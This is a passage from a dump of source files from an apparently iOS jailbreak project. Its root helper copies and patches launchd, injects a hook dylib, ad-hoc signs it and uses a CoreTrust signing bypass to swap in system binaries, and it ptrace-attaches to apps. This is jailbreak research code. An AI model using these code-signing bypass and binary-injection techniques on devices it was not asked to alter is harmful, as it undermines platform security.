0x00000004,\n\tkVCDarkBackground   = 0x00000008,\n\tkVCLightBackground  = 0x00000010,\n};\n\nenum {\n\tkDataRotate0   = 0,\n\tkDataRotate90  = 1,\n\tkDataRotate180 = 2,\n\tkDataRotate270 = 3\n};\n\nstruct vc_progress_user_options {\n\tuint32_t options;\n\t// fractional position of middle of spinner 0 (0.0) - 0xFFFFFFFF (1.0)\n\tuint32_t x_pos;\n\tuint32_t y_pos;\n\tuint32_t resv[8];\n};\ntypedef struct vc_progress_user_options vc_progress_user_options;\n\n\n// #if XNU_KERNEL_PRIVATE\n\nvoid vcputc(int, int, int);\n\nint vcgetc(     int             l,\n    int             u,\n    boolean_t       wait,\n    boolean_t       raw );\n\nvoid video_scroll_up(   void    *start,\n    void    *end,\n    void    *dest );\n\nvoid video_scroll_down( void    *start,  /* HIGH addr */\n    void    *end,                        /* LOW addr */\n    void    *dest );                     /* HIGH addr */\n\nstruct vc_info {\n\tunsigned int    v_height;       /* pixels */\n\tunsigned int    v_width;        /* pixels */\n\tunsigned int    v_depth;\n\tunsigned int    v_rowbytes;\n\tunsigned long   v_baseaddr;\n\tunsigned int    v_type;\n\tchar            v_name[32];\n\tuint64_t        v_physaddr;\n\tunsigned int    v_rows;         /* characters */\n\tunsigned int    v_columns;      /* characters */\n\tunsigned int    v_rowscanbytes; /* Actualy number of bytes used for display per row*/\n\tunsigned int    v_scale;\n\tunsigned int    v_rotate;\n\tunsigned int    v_reserved[3];\n};\n\nstruct vc_progress_element {\n\tunsigned int        version;\n\tunsigned int        flags;\n\tunsigned int        time;\n\tunsigned char       count;\n\tunsigned char       res[3];\n\tint                 width;\n\tint                 height;\n\tint                 dx;\n\tint                 dy;\n\tint                 transparent;\n\tunsigned int        res2[3];\n};\ntypedef struct vc_progress_element vc_progress_element;\n\nextern struct vc_progress_user_options vc_user_options;\n\nvoid vc_progress_initialize( vc_progress_element * desc,\n    const unsigned char * data1x,\n    const unsigned char * data2x,\n    const unsigned char * data3x,\n    const unsigned char * clut );\n\nvoid vc_progress_set(boolean_t enable, uint32_t vc_delay);\n\nvoid vc_display_icon( vc_progress_element * desc, const unsigned char * data );\n\nint vc_display_lzss_icon(uint32_t dst_x, uint32_t dst_y,\n    uint32_t image_width, uint32_t image_height,\n    const uint8_t *compressed_image,\n    uint32_t       compressed_size,\n    const uint8_t *clut);\n\n#if defined(XNU_TARGET_OS_OSX)\n\nextern void vc_enable_progressmeter(int new_value);\nextern void vc_set_progressmeter(int new_value);\nextern int vc_progressmeter_enable;\nextern int vc_progressmeter_value;\nextern void vc_progress_setdiskspeed(uint32_t speed);\n\n#endif /* defined(XNU_TARGET_OS_OSX) */\n\n// #endif /* XNU_KERNEL_PRIVATE */\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif /* _VIDEO_CONSOLE_H_ */\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/console/video_scroll.c",
    "content": "/*\n * Copyright (c) 2007 Apple Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n *\n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n *\n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n *\n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n\n#include <strings.h>\n#include \"video_console.h\"\n\nvoid\nvideo_scroll_up(void * start, void * end, void * dest)\n{\n\tbcopy(start, dest, ((char *)end - (char *)start) << 2);\n}\n\nvoid\nvideo_scroll_down(void * start,      /* HIGH addr */\n    void * end,                      /* LOW addr */\n    void * dest)                     /* HIGH addr */\n{\n\tbcopy(end, dest, ((char *)start - (char *)end) << 2);\n}\n"
  },
  {
    "path": "RootHelperSample/launchdshim/launchdhook/verbose/verbose_boot.m",
    "content": "#import <CoreFoundation/CoreFoundation.h>\n#include <unistd.h>\n#import <CoreGraphics/CoreGraphics.h>\n#import <Foundation/Foundation.h>\n#import <IOKit/IOKitLib.h>\n#import <IOSurface/IOSurfaceRef.h>\n#import \"IOMobileFramebuffer.h\"\n#include <mach/mach.h>\n#include <pthread.h>\n#include <spawn.h>\n#include <stdio.h>\n\n#include \"console/video_console.c\"\n\n//void IOMobileFramebufferSwapDirtyRegion(IOMobileFramebufferRef conn);\n\nIOMobileFramebufferRef fbConn;\nIOSurfaceRef surface, oldSurface;\n\npthread_t logger;\n// int pfd[2];\n\n// void initialize_prescreen(struct vc_info vinfo);\n\nvoid initFramebuffer() {\n  CGContextRef context;\n\n  printf(\"[*] Connection init\\n\");\n  printf(\"[*] size variable init\\n\");\n  IOMobileFramebufferDisplaySize size;\n  printf(\"[*] getting main display\\n\");\n  IOMobileFramebufferGetMainDisplay(&fbConn);\n  printf(\"[*] getting display size\\n\");\n  IOMobileFramebufferGetDisplaySize(fbConn, &size);\n  printf(\"[i] found size %f*%f\\n\", size.height, size.width);\n  printf(\"[*] getting iosurface\\n\");\n\n  NSDictionary *properties = @{\n    (id)kIOSurfaceIsGlobal: @(NO),\n    (id)kIOSurfaceWidth: @(size.width),\n    (id)kIOSurfaceHeight: @(size.height),\n    (id)kIOSurfacePixelFormat: @((uint32_t)'BGRA'),\n    (id)kIOSurfaceBytesPerElement: @(4)\n  };\n  surface = IOSurfaceCreate((__bridge CFDictionaryRef)properties);\n\n  //IOMobileFramebufferGetLayerDefaultSurface\n  //IOMobileFramebufferCopyLayerDisplayedSurface(fbConn, 0, &surface);\n  printf(\"[i] got surface %p\\n\", surface);\n\n  printf(\"[*] vinfo setup\\n\");\n  struct vc_info vinfo;\n  vinfo.v_width = IOSurfaceGetWidth(surface);\n  vinfo.v_height = IOSurfaceGetHeight(surface);\n  vinfo.v_depth = 32; // 16, 32?\n  vinfo.v_type = 0;\n  vinfo.v_scale = 2; //kPEScaleFactor2x;\n  vinfo.v_name[0]  = 0;\n  vinfo.v_rowbytes = IOSurfaceGetBytesPerRow(surface);\n  vinfo.v_baseaddr = (unsigned long)IOSurfaceGetBaseAddress(surface);\n  printf(\"[*] initializing\\n\");\n  IOSurfaceLock(surface, 0, nil);\n  //memset((void *)vinfo.v_baseaddr, 0xFFFFFFFF, vinfo.v_width * vinfo.v_height);\n  initialize_prescreen(vinfo);\n  IOSurfaceUnlock(surface, 0, 0);\n\n  printf(\"[√] PTR %p\\n\", IOSurfaceGetBaseAddress(surface));\n\n  int token;\n  CGRect frame = CGRectMake(0, 0, vinfo.v_width, vinfo.v_height);\n  IOMobileFramebufferSwapBegin(fbConn, &token);\n  IOMobileFramebufferSwapSetLayer(fbConn, 0, surface, frame, frame, 0);\n  IOMobileFramebufferSwapEnd(fbConn);\n}\n\nvoid printText(char *str) {\n    //CGRect frame = CGRectMake(0, 0, IOSurfaceGetWidth(surface), IOSurfaceGetHeight(surface));\n    for (int i = 0; str[i]; i++) {\n        //IOSurfaceLock(surface, 0, nil);\n        char c = str[i];\n        vcputc(0, 0, c);\n        if (c == '\\n' || !str[i+1]) {\n            vcputc(0, 0, '\\r');\n            //IOSurfaceUnlock(surface, 0, 0);\n            //IOMobileFramebufferSwapBegin(fbConn, NULL);\n            //IOMobileFramebufferSwapSetLayer(fbConn, 0, surface, frame, frame);\n            //IOMobileFramebufferSwapEnd(fbConn);\n        }\n    }\n}\n\npthread_t logger;\nint pfd[2];\nstatic void *logger_thread() {\n    initFramebuffer();\n    CGRect frame = CGRectMake(0, 0, IOSurfaceGetWidth(surface), IOSurfaceGetHeight(surface));\n\n    setvbuf(stdout, 0, _IOLBF, 0);\n    setvbuf(stderr, 0, _IONBF, 0);\n    pipe(pfd);\n    dup2(pfd[1], 1);\n    dup2(pfd[1], 2);\n\n    //ssize_t rsize;\n    char c;\n    uint8_t linesPrinted = 0;\n    while (read(pfd[0], &c, 1) > 0) {\n        vcputc(0, 0, c);\n        if (c == '\\n') {\n            vcputc(0, 0, '\\r');\n            static int lines = 0;\n            if (lines++ > 100) return NULL;\n            CGRect frame = CGRectMake(0, 0, vinfo.v_width, vinfo.v_height);\n            IOMobileFramebufferSwapBegin(fbConn, NULL);\n            IOMobileFramebufferSwapSetLayer(fbConn, 0, surface, frame, frame, 0);\n            IOMobileFramebufferSwapEnd(fbConn);\n        }\n    }\n    return NULL;\n}\n\nvoid initVerboseFramebuffer() {\n  pthread_create(&logger, 0, logger_thread, 0);\n  pthread_detach(logger);\n  for (int i = 0; i < 4; i++) {\n    printf(\" \\n\");\n  }\n  printf(\"Done: initVerboseFramebuffer\\n\");\n}\n"
  },
  {
    "path": "RootHelperSample/main.m",
    "content": "#import <stdio.h>\n@import Foundation;\n\n#import <sys/stat.h>\n#import <dlfcn.h>\n#import <spawn.h>\n#import <objc/runtime.h>\n#import \"TSUtil.h\"\n#import <sys/utsname.h>\n#import <SpringBoardServices/SpringBoardServices.h>\n#import <Security/Security.h>\n\n#import \"codesign.h\"\n#import \"coretrust_bug.h\"\n#import <choma/FAT.h>\n#import <choma/MachO.h>\n#import <choma/FileStream.h>\n#import <choma/Host.h>\n\n#include <sys/types.h>\n#include \"insert_dylib.h\"\n/* Attach to a process that is already running. */\n//PTRACE_ATTACH = 16,\n#define PT_ATTACH 16\n\n/* Detach from a process attached to with PTRACE_ATTACH.  */\n//PTRACE_DETACH = 17,\n#define PT_DETACH 17\n#define PT_ATTACHEXC    14    /* attach to running process with signal exception */\n#define PT_TRACE_ME 0\nint ptrace(int, pid_t, caddr_t, int);\n\n#define JB_ROOT_PREFIX \".jbroot-\"\n#define JB_RAND_LENGTH  (sizeof(uint64_t)*sizeof(char)*2)\n\nint is_jbrand_value(uint64_t value)\n{\n   uint8_t check = value>>8 ^ value >> 16 ^ value>>24 ^ value>>32 ^ value>>40 ^ value>>48 ^ value>>56;\n   return check == (uint8_t)value;\n}\n\nint is_jbroot_name(const char* name)\n{\n    if(strlen(name) != (sizeof(JB_ROOT_PREFIX)-1+JB_RAND_LENGTH))\n        return 0;\n    \n    if(strncmp(name, JB_ROOT_PREFIX, sizeof(JB_ROOT_PREFIX)-1) != 0)\n        return 0;\n    \n    char* endp=NULL;\n    uint64_t value = strtoull(name+sizeof(JB_ROOT_PREFIX)-1, &endp, 16);\n    if(!endp || *endp!='\\0')\n        return 0;\n    \n    if(!is_jbrand_value(value))\n        return 0;\n    \n    return 1;\n}\n\nuint64_t resolve_jbrand_value(const char* name)\n{\n    if(strlen(name) != (sizeof(JB_ROOT_PREFIX)-1+JB_RAND_LENGTH))\n        return 0;\n    \n    if(strncmp(name, JB_ROOT_PREFIX, sizeof(JB_ROOT_PREFIX)-1) != 0)\n        return 0;\n    \n    char* endp=NULL;\n    uint64_t value = strtoull(name+sizeof(JB_ROOT_PREFIX)-1, &endp, 16);\n    if(!endp || *endp!='\\0')\n        return 0;\n    \n    if(!is_jbrand_value(value))\n        return 0;\n    \n    return value;\n}\n\n\nNSString* find_jbroot()\n{\n    //jbroot path may change when re-randomize it\n    NSString * jbroot = nil;\n    NSArray *subItems = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:@\"/var/containers/Bundle/Application/\" error:nil];\n    for (NSString *subItem in subItems) {\n        if (is_jbroot_name(subItem.UTF8String))\n        {\n            NSString* path = [@\"/var/containers/Bundle/Application/\" stringByAppendingPathComponent:subItem];\n            jbroot = path;\n            break;\n        }\n    }\n    return jbroot;\n}\n\nNSString *jbroot(NSString *path)\n{\n    NSString* jbroot = find_jbroot();\n    return [jbroot stringByAppendingPathComponent:path];\n}\n\n\nNSString* usprebooterPath()\n{\n    NSError* mcmError;\n    MCMAppContainer* appContainer = [MCMAppContainer containerWithIdentifier:@\"pisshill.usprebooter\" createIfNecessary:NO existed:NULL error:&mcmError];\n    if(!appContainer) return nil;\n    return appContainer.url.path;\n}\n\nNSString* usprebooterappPath()\n{\n    return [usprebooterPath() stringByAppendingPathComponent:@\"usprebooter.app\"];\n}\n\n//BOOL isLdidInstalled(void)\n//{\n//    NSString* ldidPath = [trollStoreAppPath() stringByAppendingPathComponent:@\"ldid\"];\n//    return [[NSFileManager defaultManager] fileExistsAtPath:ldidPath];\n//}\n\nint runLdid(NSArray* args, NSString** output, NSString** errorOutput)\n{\n    NSString* ldidPath = [usprebooterappPath() stringByAppendingPathComponent:@\"ldid\"];\n    NSMutableArray* argsM = args.mutableCopy ?: [NSMutableArray new];\n    [argsM insertObject:ldidPath.lastPathComponent atIndex:0];\n\n    NSUInteger argCount = [argsM count];\n    char **argsC = (char **)malloc((argCount + 1) * sizeof(char*));\n\n    for (NSUInteger i = 0; i < argCount; i++)\n    {\n        argsC[i] = strdup([[argsM objectAtIndex:i] UTF8String]);\n    }\n    argsC[argCount] = NULL;\n\n    posix_spawn_file_actions_t action;\n    posix_spawn_file_actions_init(&action);\n\n    int outErr[2];\n    pipe(outErr);\n    posix_spawn_file_actions_adddup2(&action, outErr[1], STDERR_FILENO);\n    posix_spawn_file_actions_addclose(&action, outErr[0]);\n\n    int out[2];\n    pipe(out);\n    posix_spawn_file_actions_adddup2(&action, out[1], STDOUT_FILENO);\n    posix_spawn_file_actions_addclose(&action, out[0]);\n    \n    pid_t task_pid;\n    int status = -200;\n    int spawnError = posix_spawn(&task_pid, [ldidPath fileSystemRepresentation], &action, NULL, (char* const*)argsC, NULL);\n    for (NSUInteger i = 0; i < argCount; i++)\n    {\n        free(argsC[i]);\n    }\n    free(argsC);\n\n    if(spawnError != 0)\n    {\n        NSLog(@\"posix_spawn error %d\\n\", spawnError);\n        return spawnError;\n    }\n\n    do\n    {\n        if (waitpid(task_pid, &status, 0) != -1) {\n            //printf(\"Child status %dn\", WEXITSTATUS(status));\n        } else\n        {\n            perror(\"waitpid\");\n            return -222;\n        }\n    } while (!WIFEXITED(status) && !WIFSIGNALED(status));\n\n    close(outErr[1]);\n    close(out[1]);\n\n    NSString* ldidOutput = getNSStringFromFile(out[0]);\n    if(output)\n    {\n        *output = ldidOutput;\n    }\n\n    NSString* ldidErrorOutput = getNSStringFromFile(outErr[0]);\n    if(errorOutput)\n    {\n        *errorOutput = ldidErrorOutput;\n    }\n\n    return WEXITSTATUS(status);\n}\n\nint signAdhoc(NSString *filePath, NSString *entitlements) // lets just assume ldid is included ok\n{\n//        if(!isLdidInstalled()) return 173;\n\n//        NSString *entitlementsPath = nil;\n        NSString *signArg = @\"-S\";\n        NSString* errorOutput;\n        if(entitlements) {\n//            NSData *entitlementsXML = [NSPropertyListSerialization dataWithPropertyList:entitlements format:NSPropertyListXMLFormat_v1_0 options:0 error:nil];\n//            if (entitlementsXML) {\n//                entitlementsPath = [[NSTemporaryDirectory() stringByAppendingPathComponent:[NSUUID UUID].UUIDString] stringByAppendingPathExtension:@\"plist\"];\n//                [entitlementsXML writeToFile:entitlementsPath atomically:NO];\n                signArg = [signArg stringByAppendingString:entitlements];\n//                signArg = [signArg stringByAppendingString:@\" -Cadhoc\"];\n//                signArg = [signArg stringByAppendingString:@\" -M\"];\n//                signArg = [signArg stringByAppendingString:@\"/sbin/launchd\"];\n//            }\n        }\n        NSLog(@\"roothelper: running ldid\");\n        int ldidRet = runLdid(@[signArg, filePath], nil, &errorOutput);\n//        if (entitlementsPath) {\n//            [[NSFileManager defaultManager] removeItemAtPath:entitlementsPath error:nil];\n//        }\n\n        NSLog(@\"roothelper: ldid exited with status %d\", ldidRet);\n\n        NSLog(@\"roothelper: - ldid error output start -\");\n    \n        printMultilineNSString(signArg);\n        printMultilineNSString(errorOutput);\n\n        NSLog(@\"roothelper: - ldid error output end -\");\n\n        if(ldidRet == 0)\n        {\n            return 0;\n        }\n        else\n        {\n            return 175;\n        }\n    //}\n}\n\nNSSet<NSString*>* immutableAppBundleIdentifiers(void)\n{\n\tNSMutableSet* systemAppIdentifiers = [NSMutableSet new];\n\n\tLSEnumerator* enumerator = [LSEnumerator enumeratorForApplicationProxiesWithOptions:0];\n\tLSApplicationProxy* appProxy;\n\twhile(appProxy = [enumerator nextObject])\n\t{\n\t\tif(appProxy.installed)\n\t\t{\n\t\t\tif(![appProxy.bundleURL.path hasPrefix:@\"/private/var/containers\"])\n\t\t\t{\n\t\t\t\t[systemAppIdentifiers addObject:appProxy.bundleIdentifier.lowercaseString];\n\t\t\t}\n\t\t}\n\t}\n\n\treturn systemAppIdentifiers.copy;\n}\n\nvoid replaceByte(NSString *filePath, int offset, const char *replacement) {\n    const char *fileCString = [filePath UTF8String];\n    \n    FILE *file = fopen(fileCString, \"r+\");\n\n    if (file == NULL) {\n        NSLog(@\"Error opening workinglaunchd\");\n        perror(\"Error opening file\");\n        return;\n    }\n\n    fseek(file, offset, SEEK_SET);\n    fwrite(replacement, sizeof(char), 4, file);\n\n    fclose(file);\n}\n\nint main(int argc, char *argv[], char *envp[]) {\n    @autoreleasepool {\n//        NSLog(@\"Hello from the other side! our uid is %u and our pid is %d\", getuid(), getpid());\n        loadMCMFramework();\n        NSString* action = [NSString stringWithUTF8String:argv[1]];\n        NSString* source = [NSString stringWithUTF8String:argv[2]];\n        NSString* destination = [NSString stringWithUTF8String:argv[3]];\n        \n        if ([action isEqual: @\"writedata\"]) {\n            [source writeToFile:destination atomically:YES encoding:NSUTF8StringEncoding error:nil];\n        } else if ([action isEqual: @\"filemove\"]) {\n            [[NSFileManager defaultManager] moveItemAtPath:source toPath:destination error:nil];\n        } else if ([action isEqual: @\"filecopy\"]) {\n            NSLog(@\"roothelper: cp\");\n            [[NSFileManager defaultManager] copyItemAtPath:source toPath:destination error:nil];\n        } else if ([action isEqual: @\"makedirectory\"]) {\n            NSLog(@\"roothelper: mkdir\");\n            [[NSFileManager defaultManager] createDirectoryAtPath:source withIntermediateDirectories:true attributes:nil error:nil];\n        } else if ([action isEqual: @\"removeitem\"]) {\n            NSLog(@\"roothelper: rm\");\n            [[NSFileManager defaultManager] removeItemAtPath:source error:nil];\n        } else if ([action isEqual: @\"permissionset\"]) {\n            NSLog(@\"roothelper chmod %@\", source); // just pass in 755\n            NSMutableDictionary *dict = [[NSMutableDictionary alloc] init];\n            [dict setObject:[NSNumber numberWithInt:755]  forKey:NSFilePosixPermissions];\n            [[NSFileManager defaultManager] setAttributes:dict ofItemAtPath:source error:nil];\n            //        } else if ([action isEqual: @\"rebuildiconcache\"]) {\n            //            cleanRestrictions();\n            //            [[LSApplicationWorkspace defaultWorkspace] _LSPrivateRebuildApplicationDatabasesForSystemApps:YES internal:YES user:YES];\n            //            refreshAppRegistrations();\n            //            killall(@\"backboardd\");\n        } else if ([action isEqual: @\"codesign\"]) {\n            NSLog(@\"roothelper: adhoc sign + fastsign\");\n//            NSDictionary* entitlements = @{\n//                @\"get-task-allow\": [NSNumber numberWithBool:YES],\n//                @\"platform-application\": [NSNumber numberWithBool:YES],\n//            };\n            NSString* launchdents = [usprebooterappPath() stringByAppendingPathComponent:@\"launchdentitlements.plist\"];\n            NSString* patchedLaunchdCopy = [usprebooterappPath() stringByAppendingPathComponent:@\"workinglaunchd\"];\n            signAdhoc(patchedLaunchdCopy, launchdents); // source file, NSDictionary with entitlements\n            \n            // TODO: Use ct_bypass instead of fastPathSign, it's just better :trol:\n            NSString *fastPathSignPath = [usprebooterappPath() stringByAppendingPathComponent:@\"fastPathSign\"];\n            NSString *stdOut;\n            NSString *stdErr;\n            spawnRoot(fastPathSignPath, @[@\"-i\", patchedLaunchdCopy, @\"-r\", @\"-o\", patchedLaunchdCopy], &stdOut, &stdErr);\n        } else if ([action isEqual: @\"ptrace\"]) {\n            NSLog(@\"roothelper: stage 1 ptrace\");\n            NSString *stdOut;\n            NSString *stdErr;\n            NSLog(@\"trolltoolshelper path %@\", rootHelperPath());\n            spawnRoot(rootHelperPath(), @[@\"ptrace2\", source, @\"\"], &stdOut, &stdErr);\n            kill(getpid(), 1);\n        } else if ([action isEqual: @\"ptrace2\"]) {\n            NSLog(@\"roothelper: stage 2 ptrace, app pid: %@\", source);\n            int pidInt = [source intValue];\n//             source = pid of app.\n//             ptrace the source, the pid of the original app\n//             then detach immediately\n//            ptrace(PT_TRACE_ME,0,0,0);\n            ptrace(PT_ATTACH, pidInt, 0, 0);\n            ptrace(PT_DETACH, pidInt, 0, 0);\n            NSLog(@\"Done ptracing!\");\n        } else if ([action isEqual: @\"bootstrap\"]) {\n            NSLog(@\"installing\");\n            if (!jbroot(@\"/\")) {\n                NSLog(@\"jbroot not found...\");\n            } else {\n//                if (!jbroot(@\"lunchd\")) {\n                    //                1. install roothide bootstrap\n                    //                2. copy over launchd to your macos from your phone\n                NSLog(@\"copy launchd over\");\n                    [[NSFileManager defaultManager] copyItemAtPath:@\"/sbin/launchd\" toPath:[usprebooterappPath() stringByAppendingPathComponent:@\"workinglaunchd\"] error:nil];\n                    // remove cpu subtype, insert_dylib, then\n                    replaceByte([usprebooterappPath() stringByAppendingPathComponent:@\"workinglaunchd\"], 8, \"\\x00\\x00\\x00\\x00\");\n                    insert_dylib_main(\"@loader_path/launchdhook.dylib\", [[usprebooterappPath() stringByAppendingPathComponent:@\"workinglaunchd\"] UTF8String]);\n                sleep(1);\n                NSLog(@\"sign launchd over and out\");\n                    spawnRoot(rootHelperPath(), @[@\"codesign\", source, @\"\"], nil, nil);\n                    //                3. copy over workinglaunchd to your jbroot/lunchd\n                    [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@\"workinglaunchd\"] toPath:jbroot(@\"lunchd\") error:nil];\n                    //                4. copy over launchdhooksigned.dylib as jbroot/launchdhook.dylib\n                    [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@\"launchdhooksigned.dylib\"] toPath:jbroot(@\"launchdhook.dylib\") error:nil];\n                    //                5. copy over your regular SpringBoard.app to jbroot/System/Library/CoreServices/SpringBoard.app\n                    \n                    [[NSFileManager defaultManager] createDirectoryAtPath: jbroot(@\"/System/Library/CoreServices/\") withIntermediateDirectories:YES attributes:nil error:nil];\n                    [[NSFileManager defaultManager] copyItemAtPath:@\"/System/Library/CoreServices/SpringBoard.app\" toPath:jbroot(@\"/System/Library/CoreServices/SpringBoard.app\") error:nil];\n                        \n                    //                6. replace the regular SpringBoard in your jbroot/System/Library/CoreServices/SpringBoard.app/SpringBoard with springboardshimsignedinjected\n                    [[NSFileManager defaultManager] removeItemAtPath:jbroot(@\"/System/Library/CoreServices/SpringBoard.app/SpringBoard\") error:nil];\n                    [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@\"springboardshimsignedinjected\"] toPath:jbroot(@\"/System/Library/CoreServices/SpringBoard.app/SpringBoard\") error:nil];\n                     \n                    //                7. place springboardhooksigned.dylib as jbroot/SpringBoard.app/springboardhook.dylib\n                    [[NSFileManager defaultManager] removeItemAtPath:jbroot(@\"/System/Library/CoreServices/SpringBoard.app/springboardhook.dylib\") error:nil];\n                    [[NSFileManager defaultManager] copyItemAtPath:[usprebooterappPath() stringByAppendingPathComponent:@\"springboardhooksigned.dylib\"] toPath:[jbroot(@\"/System/Library/CoreServices/SpringBoard.app\") stringByAppendingPathComponent:@\"springboardhook.dylib\"] error:nil];\n                    // last step: create a symlink to jbroot named .jbroot\n                    [[NSFileManager defaultManager] createSymbolicLinkAtPath:jbroot(@\"/System/Library/CoreServices/SpringBoard.app/.jbroot\") withDestinationPath:jbroot(@\"/\") error:nil];\n//                } else {\n//                    NSLog(@\"lunchd was found, you've already installed\");\n//                }\n            }\n        }\n        return 0;\n    }\n}\n"
  },
  {
    "path": "Serotonin.xcodeproj/project.pbxproj",
    "content": "// !$*UTF8*$!\n{\n\tarchiveVersion = 1;\n\tclasses = {\n\t};\n\tobjectVersion = 56;\n\tobjects = {\n\n/* Begin PBXBuildFile section */\n\t\t013141FF2B445B26006BEBE9 /* memoryControl.m in Sources */ = {isa = PBXBuildFile; fileRef = 013141FE2B445B26006BEBE9 /* memoryControl.m */; };\n\t\tC805CA452B1719C1005157BA /* util.m in Sources */ = {isa = PBXBuildFile; fileRef = C805CA442B1719C1005157BA /* util.m */; };\n\t\tC81122DF2B16C9CC00AD077B /* troller.m in Sources */ = {isa = PBXBuildFile; fileRef = C81122DE2B16C9CC00AD077B /* troller.m */; };\n\t\tC82AFEF42B175AB80070EA49 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = C82AFEF32B175AB80070EA49 /* Assets.xcassets */; };\n\t\tC82AFF392B17688E0070EA49 /* usprebooterApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = C82AFEF12B175AA30070EA49 /* usprebooterApp.swift */; };\n\t\tC82AFF3A2B1768990070EA49 /* ContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = C82AFEEF2B175A270070EA49 /* ContentView.swift */; };\n\t\tC82AFF3F2B179A8C0070EA49 /* IOKit.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = C82AFF3D2B179A880070EA49 /* IOKit.framework */; };\n\t\tC82AFF432B17AA6D0070EA49 /* ldid in Resources */ = {isa = PBXBuildFile; fileRef = C82AFF422B17AA6C0070EA49 /* ldid */; };\n\t\tC83594CF2B18F70700346F80 /* overwriter.m in Sources */ = {isa = PBXBuildFile; fileRef = C83594CE2B18F70700346F80 /* overwriter.m */; };\n\t\tC83594D22B18F74600346F80 /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = C83594D12B18F74600346F80 /* vm_unaligned_copy_switch_race.c */; };\n\t\tC84002E92B4A55A300C73950 /* springboardshimsignedinjected in Resources */ = {isa = PBXBuildFile; fileRef = C84002E82B4A55A300C73950 /* springboardshimsignedinjected */; };\n\t\tC84002ED2B4A64E200C73950 /* launchdentitlements.plist in Resources */ = {isa = PBXBuildFile; fileRef = C84002EC2B4A64E200C73950 /* launchdentitlements.plist */; };\n\t\tC8BFCCA42B3FFE570008D8FD /* fun.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC7F2B3FFE560008D8FD /* fun.m */; };\n\t\tC8BFCCA62B3FFE570008D8FD /* dir.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC822B3FFE560008D8FD /* dir.m */; };\n\t\tC8BFCCA82B3FFE570008D8FD /* utils.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC842B3FFE560008D8FD /* utils.m */; };\n\t\tC8BFCCA92B3FFE570008D8FD /* thanks_opa334dev_htrowii.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC852B3FFE560008D8FD /* thanks_opa334dev_htrowii.m */; };\n\t\tC8BFCCAA2B3FFE570008D8FD /* cs_blobs.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC862B3FFE560008D8FD /* cs_blobs.m */; };\n\t\tC8BFCCAB2B3FFE570008D8FD /* krw.c in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC872B3FFE560008D8FD /* krw.c */; };\n\t\tC8BFCCAC2B3FFE570008D8FD /* offsets.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC882B3FFE560008D8FD /* offsets.m */; };\n\t\tC8BFCCAD2B3FFE570008D8FD /* vnode.m in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC892B3FFE560008D8FD /* vnode.m */; };\n\t\tC8BFCCAE2B3FFE570008D8FD /* proc.c in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCC8A2B3FFE560008D8FD /* proc.c */; };\n\t\tC8BFCCB42B427C0F0008D8FD /* Log.swift in Sources */ = {isa = PBXBuildFile; fileRef = C8BFCCB32B427C0F0008D8FD /* Log.swift */; };\n\t\tD6E08F1E2B48B04E00AE49BF /* TheCoolerContentView.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F1D2B48B04E00AE49BF /* TheCoolerContentView.swift */; };\n\t\tD6E08F4A2B48E24F00AE49BF /* UTTagClass.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F2E2B48E24E00AE49BF /* UTTagClass.swift */; };\n\t\tD6E08F4B2B48E24F00AE49BF /* CoreTypes.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F2F2B48E24E00AE49BF /* CoreTypes.swift */; };\n\t\tD6E08F4C2B48E24F00AE49BF /* UTType.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F302B48E24E00AE49BF /* UTType.swift */; };\n\t\tD6E08F4D2B48E24F00AE49BF /* URLSession+Async.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F322B48E24E00AE49BF /* URLSession+Async.swift */; };\n\t\tD6E08F4E2B48E24F00AE49BF /* Never+Representation.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F352B48E24E00AE49BF /* Never+Representation.swift */; };\n\t\tD6E08F4F2B48E24F00AE49BF /* Tuple+Representation.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F362B48E24F00AE49BF /* Tuple+Representation.swift */; };\n\t\tD6E08F502B48E24F00AE49BF /* Codable+Representation.swift in Sources */ = {isa = PBXBuildFile; fileRef = D6E08F372B48E24F00AE49BF /* Codable+Representation.swift */; };\n\t\tD6E08F512B48E24F00AE49BF /* Data+Representation.swift in Sources */ = {isa 